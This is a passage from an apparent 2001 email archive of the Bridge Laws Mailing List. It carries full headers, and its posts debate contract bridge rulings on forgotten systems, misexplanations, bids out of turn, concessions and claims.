with ESMTP id f0FE4st13848 for ; Tue, 16 Jan 2001 01:04:55 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id PAA18759; Mon, 15 Jan 2001 15:02:19 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id PAA23794; Mon, 15 Jan 2001 15:04:40 +0100 (MET) for Message-Id: <3.0.6.32.20010115151655.0082a9c0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 15 Jan 2001 15:16:55 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Automatic Penalties for Forgetting System In-Reply-To: <3A62B423.A419D571@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:26 15/01/01 +0100, Herman De Wael wrote: >One of the cases set some particular bad blood and I was >starting to pray for zero tolerance policies, can you >imagine ? >Anyway, would this be enough to start advocating automatic >penalties for the forgetting of system ? AG : certainly not. It would be too much of a deterrent to experimenting new conventions. Also, it would discourage players to experiment new partnerships, which is even worse. My feeling about what should be done (it will need a law adjustment, of course) : if there is an obvious systemic error that causes problems to the opponents, write it down and register it. Any new systemic error in this restricted part of the system would create an automatical score correction. If the OS's score is better than 40%, correct to 40/60. If it is worse, don't correct. Errors that don't create a better score that if they hadn't happened shall never be penalized. >The current Laws do cater for this. Forgetting the system >is certainly paying insufficient attention to the game, and >this disconcerts the opponents. >Surely matters of courtesy (such as this is) can be >regulated by the SO, and automatic penalties, well >announced, fall within the current set of Laws. >However, would this solve the problem ? AG : ah well, you could always say the breach of L72B1 is so serious as to make the normal play of the board impossible, and apply L12C1, but it will be hard to swallow for the OS -unless there are repeated errors in a short time or about the same sequence. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 02:46:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FFjmq13916 for bridge-laws-outgoing; Tue, 16 Jan 2001 02:45:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FFjgt13912 for ; Tue, 16 Jan 2001 02:45:42 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0FFjYc04575 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 15:45:34 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Mon, 15 Jan 2001 15:45 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Your opinion pls. To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <002c01c07ef1$a5b9a8c0$33daa2c3@upc.chello.be> > Hi Tim, > > Leading a spade? That's madness! > Don't forget that > a. the weak hand plays in hearts. Hence I had the lead as SA > b. that I know the complete distribution > of the strong hand. I wasn't sure about that. Does it cover 5431 distributions? 5440s? > You may guess once what I'm going to lead. Definitely not a club! Nor the DK. Play after a trump lead is pretty complex and a defence needs to be sharp to get it right. I guess you lead a small diamond. > (the spade-trick is really not going to disappear). My first thoughts were that this auction would give North eg AKQx in hearts and 3 spade leads would be needed to promote the setting trick with the HJ. But, now that you have suggested you would make a non-spade lead, I accept that I should have consulted before deciding this was "not likely" - I may reach the same conclusion after consultation but then the AC can compensate for my poor judgement - what happened at appeal by the way? Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 03:33:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FGWg224865 for bridge-laws-outgoing; Tue, 16 Jan 2001 03:32:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FGWat24861 for ; Tue, 16 Jan 2001 03:32:36 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA09989 for ; Mon, 15 Jan 2001 11:32:30 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA06410 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 11:32:30 -0500 (EST) Date: Mon, 15 Jan 2001 11:32:30 -0500 (EST) From: Steve Willner Message-Id: <200101151632.LAA06410@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Automatic Penalties for Forgetting System Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Herman De Wael > Anyway, would this be enough to start advocating automatic > penalties for the forgetting of system ? Let me mention -- not necessarily advocate -- an alternate approach. The Laws require that we rule misexplanation, not misbid, "in the absence of evidence" to the contrary. They do not say what standard of proof we require, and as far as I can tell SO's have the right to establish a standard by regulation. The usual standard applied now is "preponderance of the evidence," as is the case in most score adjustment matters. Suppose the SO requires us to rule 'misexplanation' unless misbid is established by "clear and convincing evidence?" Or even "beyond a reasonable doubt?" While I don't necessarily advocate any changes, changing the standard of proof seems to make a lot more sense than automatic penalties. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 03:54:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FGrud24885 for bridge-laws-outgoing; Tue, 16 Jan 2001 03:53:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FGrot24881 for ; Tue, 16 Jan 2001 03:53:51 +1100 (EST) Received: from p166 (cable-195-162-218-51.upc.chello.be [195.162.218.51]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with SMTP id RAA29350; Mon, 15 Jan 2001 17:53:47 +0100 (MET) Message-ID: <000501c07f12$8e544480$33daa2c3@upc.chello.be> From: "Gelders Hans" To: , References: Subject: Re: [BLML] Your opinion pls. Date: Mon, 15 Jan 2001 17:45:23 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi Tim, (see comments embedded) ----- Oorspronkelijk bericht ----- Van: "Tim West-meads" Aan: CC: Verzonden: maandag 15 januari 2001 16:45 Onderwerp: Re: [BLML] Your opinion pls. > In-Reply-To: <002c01c07ef1$a5b9a8c0$33daa2c3@upc.chello.be> > > Hi Tim, > > > > Leading a spade? That's madness! > > Don't forget that > > a. the weak hand plays in hearts. > > Hence I had the lead as SA Let's assume that I lead a high spade to have a look at dummy. Once dummy comes down a trump switch looks automatic. Now you don't need to be Bob Hamman to keep declarer till 8 tricks. If he embarks on a cross-ruff he can never make more then a club and 7 hearts. If he plays on clubs you can force the weak hand to ruff diamonds, forcing declarer to switch to a cross-ruff > > > b. that I know the complete distribution > > of the strong hand. > > I wasn't sure about that. Does it cover 5431 distributions? 5440s? > Sorry that I did not mention this possibility but we received the information that a 5-4-3-1 was not possible (nor a 5-4-4 with a five card in the major). Just for your convenience: our partners did well on this board: they did not defend but came with a +100 score, always pleasant. Kind Regards, Hans > > You may guess once what I'm going to lead. > > Definitely not a club! Nor the DK. Play after a trump lead is pretty > complex and a defence needs to be sharp to get it right. I guess you lead > a small diamond. > > > (the spade-trick is really not going to disappear). > > My first thoughts were that this auction would give North eg AKQx in > hearts and 3 spade leads would be needed to promote the setting trick with > the HJ. But, now that you have suggested you would make a non-spade lead, > I accept that I should have consulted before deciding this was "not > likely" - I may reach the same conclusion after consultation but then the > AC can compensate for my poor judgement - what happened at appeal by the > way? > > Tim West-Meads > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 04:13:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FHDeQ24906 for bridge-laws-outgoing; Tue, 16 Jan 2001 04:13:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sm8.texas.rr.com (sm8.texas.rr.com [24.93.35.220] (may be forged)) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FHDYt24902 for ; Tue, 16 Jan 2001 04:13:35 +1100 (EST) Received: from satx.rr.com (cs160153-181.satx.rr.com [24.160.153.181]) by sm8.texas.rr.com (8.11.0/8.11.1) with ESMTP id f0FH3Ws21067 for ; Mon, 15 Jan 2001 11:03:33 -0600 Message-ID: <3A632FDA.655D3F09@satx.rr.com> Date: Mon, 15 Jan 2001 11:14:02 -0600 From: Albert W Lochli Reply-To: biigal@satx.rr.com Organization: Internet Coordinator ACBL D-16 X-Mailer: Mozilla 4.61 [en]C-CCK-MCD (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "bridge-laws@octavia.anu.edu.au" Subject: Re: [BLML] Ruckus at the Club: Final Disposition. References: <200012182139.eBILdJL19043@cosmos.CCRS.NRCan.gc.ca> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ron Johnson wrote: > > Marvin L. French writes: > > > > > > From: "Albert W Lochli" > We had an incident tonight. > > > >Everything else snipped. Final action report. The Unit (Unit 172 ACBL) acted - this time in a fairly expeditious manner. the incident 17 December 2001, the disciplinary committee met 13 January. The result the offending member received a 30 day suspension from ACBL effective 1 February 2001 and a one year probation afterward. (Effective 1 February because of paperwork considerations, it will be reviewed and endorsed by the Unit Board at tomorrow's meeting 16 January and then stuff needs forwarding to ACBL.) The last two such incidents took more than seven months each to resolve. The swiftness of the hearing and solution is so very important. -- Biigal Albert "BiigAl" Lochli NEW E-MAIL: biigal@satx.rr.com District 16 ACBL Internet Coordinator - http://www.acbl-d16.org Editor, Clubs pages Great Bridge Links - http://www.greatbridgelinks.com/gblCLUBS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 07:40:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FKcRo07721 for bridge-laws-outgoing; Tue, 16 Jan 2001 07:38:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FKcKt07686 for ; Tue, 16 Jan 2001 07:38:21 +1100 (EST) Received: from p166 (cable-195-162-218-51.upc.chello.be [195.162.218.51]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with SMTP id VAA05105; Mon, 15 Jan 2001 21:38:15 +0100 (MET) Message-ID: <002001c07f31$eb4274e0$33daa2c3@upc.chello.be> From: "Gelders Hans" To: , Cc: References: Subject: Re: [BLML] Your opinion pls. Date: Mon, 15 Jan 2001 21:29:53 +0100 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi Tim, - what happened at appeal by the > way? > > Tim West-Meads Hi Tim, Sorry that I overlooked your last question. We did not go in appeal. We had two good reasons for not going in appeal. 1. The situation in the Belgian competition. In the first division we play a double round robin with twelve teams. The top 4 qualify for the play-offs, the numbers 10,11, 12 degradate to the second division. After 20 (of the 22) matches we are seventh, 22 VP's behind number 4 and 38 VP's in front of number 10. With only two matches to play a few VP's more or less is of no importance for us. 2. The second reason is more important. The appeal committee does not come together at the place where the competition is played. In fact the committee comes together somewhere in the Southern part of Brussels, always on a Wednesday-evening. If we go in appeal I myself, as the person directly involved, must attend that meeting as you can't win if you leave the explanations only to your opponents and the TD. To get there by public transport (I don't have a driving license nor a car ):, a relief for a lot of friends), I need 2 till 3 hours to get there, and of course the same time to get home (if the committee would come together in the center of Brussels it would only cost me 1 hour, but for unknown reasons , some personal profits probably, they refuse to do that). Then you have to wait till it's your appeal (the appeal committee does only hold a few meetings a year, that's because, given these conditions, almost nobody goes in appeal). The complete thing cost me at least 6 till 7 hours. In fact, I even have problems to get the last train and I normally pass the night with a gay friend (saves some money: Viagra is a lot cheaper then a hotel room). Over the 15 years I play in first division I only went once in appeal (and then I could not attend the meeting, we of course lost). I'm sorry, but a complete evening (and quite some money for transport), that's not my piece of cake (btw, I'm not an exception, even people with no transport problems think twice before going in appeal). Just to describe you what a big joke appeals are Belgium: De Wael went this year in appeal against a decision taken by himself !!! , and he lost !!! We think he wanted to prove that he is a good TD ): Kind regards, Hans > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 08:19:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FLJgD22283 for bridge-laws-outgoing; Tue, 16 Jan 2001 08:19:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FLJUt22223 for ; Tue, 16 Jan 2001 08:19:35 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id QAA03744 for ; Mon, 15 Jan 2001 16:19:25 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA123873564; Mon, 15 Jan 2001 16:19:24 -0500 X-Openmail-Hops: 1 Date: Mon, 15 Jan 2001 16:19:23 -0500 Message-Id: Subject: TR: [BLML] Law 71: Concession cancelled Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Mon, 15 Jan 2001 16:19:22 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0FLJbt22259 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk a.witzen wrote: >this next sentence has been deleted >and should be scrapped in your lawbook >71C "Until the concedind side makes a call on a subsequent >board, or until the round ends, the Director shall cancell the >concession of a trick that could have been lost by any >normal play of the remaining cards." ______________________________________________________________ Has been deleted by who and when ???????????? I did check in all on-line versions of Laws (ACBL, EBU, WBF) and found: 71C. Implausible Concession if a player has conceded a trick that cannot be lost by any normal play of the remaining cards. Until the conceding side makes a call on a subsequent board, or until the round ends, the Director shall cancel the concession of a trick that could not have been lost by any normal play of the remaining cards. Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 08:50:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FLnpJ28066 for bridge-laws-outgoing; Tue, 16 Jan 2001 08:49:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FLnit28059 for ; Tue, 16 Jan 2001 08:49:45 +1100 (EST) Received: from kooijman (vp181-163.worldonline.nl [195.241.181.163]) by pandora.worldonline.nl (Postfix) with SMTP id C7F6B36F60; Mon, 15 Jan 2001 22:49:25 +0100 (MET) Message-ID: <00a101c07f3d$2ea3e740$a3b5f1c3@kooijman> From: "ton kooijman" To: "David Stevenson" , Subject: Re: [BLML] Let's get back to the easy stuff Date: Mon, 15 Jan 2001 20:20:07 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > Too many posts have seemed too complex to me, so here is a query that >is easy enough from a NZ correspondent. > > Dealer South, North bids out of turn, not accepted, so South is >silenced. Are there any constraints on North's bidding? > >-- >David Stevenson Liverpool, England, UK > Very nice this remark about an easy question. In my opinion there is no yes or no answer. Law 23 applies and so 72 might apply. Yes there are restrictions, north should do his utmost to avoid these laws being applicable. So let us assume that North has A6 AKQT873 KJ85 -- and opens 1H out of turn. I might not allow him to bid 6H now and do not allow him to bid 4H being doubled and made. ( I know that such examples are delicate, what I am trying to say is that when north made this bid out of turn he could have known etc.) Another question we discussed in The Netherlands is the one where a call out of turn silences the player himself. Are there restrictions for his partner now? For example is partner then allowed to open with 1H with J965 93 Q8532 J4 ? (I remember vaguely a discusion about this earlier) ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 08:50:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FLntd28069 for bridge-laws-outgoing; Tue, 16 Jan 2001 08:49:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FLnmt28064 for ; Tue, 16 Jan 2001 08:49:48 +1100 (EST) Received: from kooijman (vp181-163.worldonline.nl [195.241.181.163]) by pandora.worldonline.nl (Postfix) with SMTP id A9E8736F10; Mon, 15 Jan 2001 22:49:42 +0100 (MET) Message-ID: <00a401c07f3d$3246b080$a3b5f1c3@kooijman> From: "ton kooijman" To: "Gelders Hans" , Subject: Re: [BLML] Your opinion pls. Date: Mon, 15 Jan 2001 22:50:03 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I was very much surprised by these explanations. >Everybody knows that the bidding laws are a complete >mess I am not interested at all in this problem. What I hate is that somebody tells us that the bidding-laws are a complete mess. Some of us contribute to these statements by suggesting them, which I am trying to prevent for a long time with no success. Mr Hans Gelders, the only thing I can say here is that your table was a complete mess and did not come close to playing bridge as described in our terrible laws and regulations, which is a disappointing conclusion considering the fact that this happened on a high level of competition. ton ( the many different points of view in this group tell it all). >Nevertheless some common sense can not be asked to much. > >Thanks and kind regards, > >Hans Gelders > >P.S: The TD was Herman Dewael > > > > > > > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 09:51:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FMoZL28133 for bridge-laws-outgoing; Tue, 16 Jan 2001 09:50:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FMoSt28129 for ; Tue, 16 Jan 2001 09:50:29 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id OAA18460; Mon, 15 Jan 2001 14:50:23 -0800 Message-Id: <200101152250.OAA18460@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: Your message of "Mon, 15 Jan 2001 20:20:07 +0100." <00a101c07f3d$2ea3e740$a3b5f1c3@kooijman> Date: Mon, 15 Jan 2001 14:50:23 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ton Kooijman wrote: > > Too many posts have seemed too complex to me, so here is a query that > >is easy enough from a NZ correspondent. > > > > Dealer South, North bids out of turn, not accepted, so South is > >silenced. Are there any constraints on North's bidding? > > > >-- > >David Stevenson Liverpool, England, UK > > > > > Very nice this remark about an easy question. In my opinion there is no yes > or no answer. Law 23 applies and so 72 might apply. > > Yes there are restrictions, north should do his utmost to avoid these laws > being applicable. So let us assume that North has > A6 AKQT873 KJ85 -- and opens 1H out of turn. I might not allow him to bid 6H > now and do not allow him to bid 4H being doubled and made. ( I know that > such examples are delicate, what I am trying to say is that when north made > this bid out of turn he could have known etc.) Law 72B1 says the TD can adjust if the offender "could have known at the time of his irregularity that the irregularity would be *likely* to damage the non-offending side." [Emphasis mine.] How can that Law apply in this case? With South silenced, North now has to make a wild guess as to the correct contract; and he cannot get any help from his partner. For all he knows, 2H, 4H, 6H, 7H, 3NT, 5D, 6D, 7D, or 4S could be the correct contract, and it would be nice if partner could tell something about his hand, but he can't. So how could North possibly know that his BOOT is *likely* to damage the non-offenders? Quite the opposite: North should know that opening 1H out of turn is likely to shoot themselves in the foot. Of course, it's *possible* that North will guess right and the opponents will get unlucky, just as it's possible that a shot in one's own foot could ricochet off one's toenail and hit an opponent in the head, but 72B1 does NOT say "if the offender could have known at the time of his irregularity that the irregularity had at least a one-in-a-ten chance of damaging the non-offending side". I think the answer to David's question is that since, at the time of North's irregularity, North knows absolutely nothing about South's hand except for the fact that it contains 13 cards, Law 72B1 cannot apply. Thus there are no constraints on North's bidding. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 10:00:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FN0Lw28151 for bridge-laws-outgoing; Tue, 16 Jan 2001 10:00:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FN0Ft28147 for ; Tue, 16 Jan 2001 10:00:15 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14IIbi-0007QI-0V for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 23:00:11 +0000 Message-ID: Date: Mon, 15 Jan 2001 19:23:20 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Automatic Penalties for Forgetting System References: <200101151632.LAA06410@cfa183.harvard.edu> In-Reply-To: <200101151632.LAA06410@cfa183.harvard.edu> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner writes >> From: Herman De Wael >> Anyway, would this be enough to start advocating automatic >> penalties for the forgetting of system ? > >Let me mention -- not necessarily advocate -- an alternate approach. >The Laws require that we rule misexplanation, not misbid, "in the >absence of evidence" to the contrary. They do not say what standard of >proof we require, and as far as I can tell SO's have the right to >establish a standard by regulation. > >The usual standard applied now is "preponderance of the evidence," as >is the case in most score adjustment matters. Suppose the SO requires >us to rule 'misexplanation' unless misbid is established by "clear and >convincing evidence?" Or even "beyond a reasonable doubt?" > >While I don't necessarily advocate any changes, changing the standard >of proof seems to make a lot more sense than automatic penalties. Let us see where that leads. A pair is playing SAYC in their own club. They have a CC [yes, a CC in a club!]. Because they do not have two CCs you automatically rule against them, yes? The standard you are suggesting here is untenable at any level except he top. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 10:27:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0FNRTF28187 for bridge-laws-outgoing; Tue, 16 Jan 2001 10:27:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-0.nyroc.rr.com [24.92.226.118]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0FNRNt28183 for ; Tue, 16 Jan 2001 10:27:23 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0FNJse12040 for ; Mon, 15 Jan 2001 18:19:56 -0500 (EST) Mime-Version: 1.0 X-Sender: ereppert@pop-server.rochester.rr.com Message-Id: Date: Mon, 15 Jan 2001 18:14:59 -0500 To: Bridge Laws From: Ed Reppert Subject: [BLML] Claim: Correct Procedure Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have read (I think it was an article in the ACBL bulletin, but I'm not sure) that when declarer claims under Law 68, defenders are permitted to examine each others' hands before deciding whether to acquiesce in or to contest the claim. I can find no support for this in the laws of Duplicate, but there is a provision in the laws of *rubber* bridge that "at any time either defender may face his hand for inspection by his partner" [Law 69 of the rubber laws]. I believe that the people who profess this belief with regard to Duplicate are mistaken, and that both defenders are required to decide whether to acquiesce in or to contest declarer's claim *without* seeing partner's cards. Am I right? May defenders consult each other? (E.g., "do you have the king of spades, partner?") Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmOHVr2UW3au93vOEQLhxgCePn25fiakoyhEI20C1MIhURMEw4cAnjGG AJiLvEYqqe5IcB6REBWuUek2 =3xBo -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email 